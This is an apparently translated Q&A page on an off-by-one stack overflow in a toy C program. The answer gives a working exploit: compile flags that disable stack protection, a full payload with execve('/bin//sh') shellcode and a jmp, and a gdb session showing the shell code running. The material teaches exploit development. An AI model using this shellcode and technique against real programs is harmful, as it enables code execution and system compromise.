有效负载中的 Offbyone 缓冲区溢出 NULL 字节

Offbyone buffer overflow NULL byte in payload

所以我在以下简单代码的帮助下尝试 Offbyone 缓冲区溢出

#include <string.h>

void cpy(char *x){
char buf[128]="";
strncat(buf,x,sizeof(buf));

}
int main(int argc, char **argv)
{

    cpy(argv[1]);

}

由于此图描述了 Offbyone 缓冲区溢出的工作原理

取自:https://www.sans.org/reading-room/whitepapers/threats/buffer-overflows-dummies-481

这是main和cpy的反汇编

这是我使用的payload

内存转储

所以使用缓冲区,在 Cpy 堆栈帧中,我将保存的 RBP 的 最低有效字节 的值更改为 00 ( 因为通过提供正好 128 字节的输入实现了 Offbyone 溢出 )

可以看到地址0x7fffffffe177存储了EBP,其值由0x7fffffffe190变为0x7fffffffe100

所以我继续在地址 0x7fffffffe10F 这也是 main[= 的 return 地址60=] 这应该是 0xffffe110 0x00007fff 而不是 0xffffe110 0x90907fff 但是因为我们不应该在有效载荷中有 00 我无法设置 return 地址,因为它是 64 位地址,长度为 8 字节 0xffffe110 0x00007fff

那么我们应该怎样才能得到 return 地址呢? 由于内存转储的图像,在断点 1 中,它的 cpy 函数框架为什么 argc 和 argv [] 在堆栈的顶部? 我是 Exploit 写作的新手,非常感谢所有帮助。

因此,让我们从可用于设置所需 return 地址值而不在有效负载中传递零字节的技巧开始。

我已经稍微更改了您的代码,以便更轻松地执行此操作。这是新代码:

#include <string.h>

int i;

void cpy(char *x) {
    char buf[128];
    for (i = 0; i <= 128; ++i) {
        buf[i] = x[i];
    }
}

int main(int argc, char **argv) {
    cpy(argv[1]);
    return 0;
}

主要区别在于现在我们可以控制保存的低位字节的值rbp。在您的示例中,我们只能将其设置为零。

这里是我们 cpy 函数的栈帧:

@rbp - 保存了 main 函数

的基本堆栈指针

@rsp - cpy 函数开始处的堆栈指针(在 push rbp 之后)

诀窍是我们以 @rbp = @rsp - 8 的方式覆盖最后一个字节。因此,当我们从 main 函数中 return 时,$rbp 将等于 @rsp - 8,因此 return 地址将在 @rsp - 8 之前 8 个字节,即 @rsp - 8!

main return 之后,我们将跳转到 @rsp - 8。所以现在我们简单地把 jmp 放到这个地址的 shellcode 中,我们就完成了:

但在你原来的例子中,这个技巧无法完成,因为我们无法控制 @rbp.

的低位字节的值

还应注意,如果 @rbp@rsp 的差异大于最后一个字节,则此技巧将不起作用。

最后是漏洞。

编译带有可执行堆栈且没有堆栈保护的代码:

$ gcc test.c -o test -z execstack -fno-stack-protector

获取我们的 jmp 到 shellcode 的字节码:

$ rasm2 -a x86 -b 64 'jmp -0x50'
ebae

利用 gdb:

$ gdb --args test $(python -c 'print "\x90" * 91 + "\x48\x31\xff\x57\x57\x5e\x5a\x48\xbf\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xef\x08\x57\x54\x5f\x6a\x3b\x58\x0f\x05" + "\xeb\xb8" + "a" * 6 + "\xc8"')

>>> b cpy
>>> b *cpy+90
>>> r
Breakpoint 1, 0x00000000004004aa in cpy ()

所以这里保存了rbp:

>>> x/1gx $rbp
0x7fffffffd3d0: 0x00007fffffffd3f0

这是 cpy 函数开头的 rsp

>>> p/x $rsp
 = 0x7fffffffd3d0

我们想从cpyreturn之后得到的rbp的值(这就是为什么payload的最后一个字节是\xc8

>>> p/x $rsp - 8
 = 0x7fffffffd3c8

继续到cpy结束:

>>> c
Breakpoint 2, 0x0000000000400500 in cpy ()

cpy的汇编代码:

>>> disassemble cpy
Dump of assembler code for function cpy:
     0x00000000004004a6 <+0>:     push   rbp
     0x00000000004004a7 <+1>:     mov    rbp,rsp
     0x00000000004004aa <+4>:     sub    rsp,0x10
     0x00000000004004ae <+8>:     mov    QWORD PTR [rbp-0x88],rdi
     0x00000000004004b5 <+15>:    mov    DWORD PTR [rip+0x20046d],0x0        # 0x60092c <i>
     0x00000000004004bf <+25>:    jmp    0x4004f2 <cpy+76>
     0x00000000004004c1 <+27>:    mov    eax,DWORD PTR [rip+0x200465]        # 0x60092c <i>
     0x00000000004004c7 <+33>:    mov    edx,DWORD PTR [rip+0x20045f]        # 0x60092c <i>
     0x00000000004004cd <+39>:    movsxd rcx,edx
     0x00000000004004d0 <+42>:    mov    rdx,QWORD PTR [rbp-0x88]
     0x00000000004004d7 <+49>:    add    rdx,rcx
     0x00000000004004da <+52>:    movzx  edx,BYTE PTR [rdx]
     0x00000000004004dd <+55>:    cdqe
     0x00000000004004df <+57>:    mov    BYTE PTR [rbp+rax*1-0x80],dl
     0x00000000004004e3 <+61>:    mov    eax,DWORD PTR [rip+0x200443]        # 0x60092c <i>
     0x00000000004004e9 <+67>:    add    eax,0x1
     0x00000000004004ec <+70>:    mov    DWORD PTR [rip+0x20043a],eax        # 0x60092c <i>
     0x00000000004004f2 <+76>:    mov    eax,DWORD PTR [rip+0x200434]        # 0x60092c <i>
     0x00000000004004f8 <+82>:    cmp    eax,0x80
     0x00000000004004fd <+87>:    jle    0x4004c1 <cpy+27>
     0x00000000004004ff <+89>:    nop
  => 0x0000000000400500 <+90>:    leave
     0x0000000000400501 <+91>:    ret
End of assembler dump.

leave 之后 rbp 的值:

>>> ni
>>> p/x $rbp
 = 0x7fffffffd3c8

执行到main结束:

>>> ni
>>> ni
>>> ni
>>> disassemble
Dump of assembler code for function main:
     0x0000000000400502 <+0>:     push   rbp
     0x0000000000400503 <+1>:     mov    rbp,rsp
     0x0000000000400506 <+4>:     sub    rsp,0x10
     0x000000000040050a <+8>:     mov    DWORD PTR [rbp-0x4],edi
     0x000000000040050d <+11>:    mov    QWORD PTR [rbp-0x10],rsi
     0x0000000000400511 <+15>:    mov    rax,QWORD PTR [rbp-0x10]
     0x0000000000400515 <+19>:    add    rax,0x8
     0x0000000000400519 <+23>:    mov    rax,QWORD PTR [rax]
     0x000000000040051c <+26>:    mov    rdi,rax
     0x000000000040051f <+29>:    call   0x4004a6 <cpy>
     0x0000000000400524 <+34>:    mov    eax,0x0
     0x0000000000400529 <+39>:    leave
  => 0x000000000040052a <+40>:    ret
End of assembler dump.
>>> ni

现在我们在 @rsp - 8 这里是我们的 jmp 到 shellcode:

>>> disassemble $rip,+2
Dump of assembler code from 0x7fffffffd3c8 to 0x7fffffffd3ca:
=> 0x00007fffffffd3c8:  jmp    0x7fffffffd382
End of assembler dump.

最后是 shellcode:

>>> ni
>>> disassemble $rip,+0x50
Dump of assembler code from 0x7fffffffd382 to 0x7fffffffd3d2:
=> 0x00007fffffffd382:  nop
   0x00007fffffffd383:  nop
   0x00007fffffffd384:  nop
   0x00007fffffffd385:  nop
   ...
   0x00007fffffffd3ab:  xor    rdi,rdi
   0x00007fffffffd3ae:  push   rdi
   0x00007fffffffd3af:  push   rdi
   0x00007fffffffd3b0:  pop    rsi
   0x00007fffffffd3b1:  pop    rdx
   0x00007fffffffd3b2:  movabs rdi,0x68732f6e69622f2f
   0x00007fffffffd3bc:  shr    rdi,0x8
   0x00007fffffffd3c0:  push   rdi
   0x00007fffffffd3c1:  push   rsp
   0x00007fffffffd3c2:  pop    rdi
   0x00007fffffffd3c3:  push   0x3b
   0x00007fffffffd3c5:  pop    rax
   0x00007fffffffd3c6:  syscall